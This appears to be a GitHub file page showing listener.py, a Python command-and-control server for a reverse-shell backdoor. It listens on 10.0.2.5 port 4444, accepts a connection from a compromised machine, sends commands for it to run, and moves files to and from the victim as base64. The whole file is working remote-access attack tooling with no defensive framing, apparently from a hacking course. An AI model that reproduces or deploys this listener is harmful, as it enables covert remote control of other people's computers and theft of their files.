-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathlistener.py
68 lines (53 loc) · 2.06 KB
/
listener.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
import socket, simplejson, base64, sys, subprocess
class Listener:
def __init__(self, ip, port):
listener = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
listener.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
listener.bind((ip, port))
listener.listen(0)
print("[+] Waiting for incoming connections")
self.connection, address = listener.accept()
print("[+] Got a connection from " + str(address))
def reliable_send(self, data):
json_data = simplejson.dumps(data)
self.connection.send(json_data.encode())
def reliable_receive(self):
json_data = ""
while True:
try:
json_data = json_data + self.connection.recv(1024).decode('cp866')
return simplejson.loads(json_data)
except ValueError:
continue
def execute_remotely(self, command):
self.reliable_send(command)
if command[0] == "exit":
self.connection.close()
exit()
return self.reliable_receive()
def write_file(self, path, content):
with open(path, "wb") as file:
file.write(base64.b64decode(content.encode()))
return "[+] Download successful"
def read_file(self, path):
with open(path, "rb") as file:
return base64.b64encode(file.read())
def run(self):
while True:
command = input(">> ")
command = command.split(" ")
try:
if command[0] == "upload":
file_content = self.read_file(command[1])
command.append(file_content)
result = self.execute_remotely(command)
if command[0] == "download" and "[-] Error " not in result:
result = self.write_file(command[1], result)
except Exception:
result = "[-] Error during command execution"
print(result)
try:
my_listener = Listener("10.0.2.5", 4444)
my_listener.run()
except Exception as e:
sys.exit()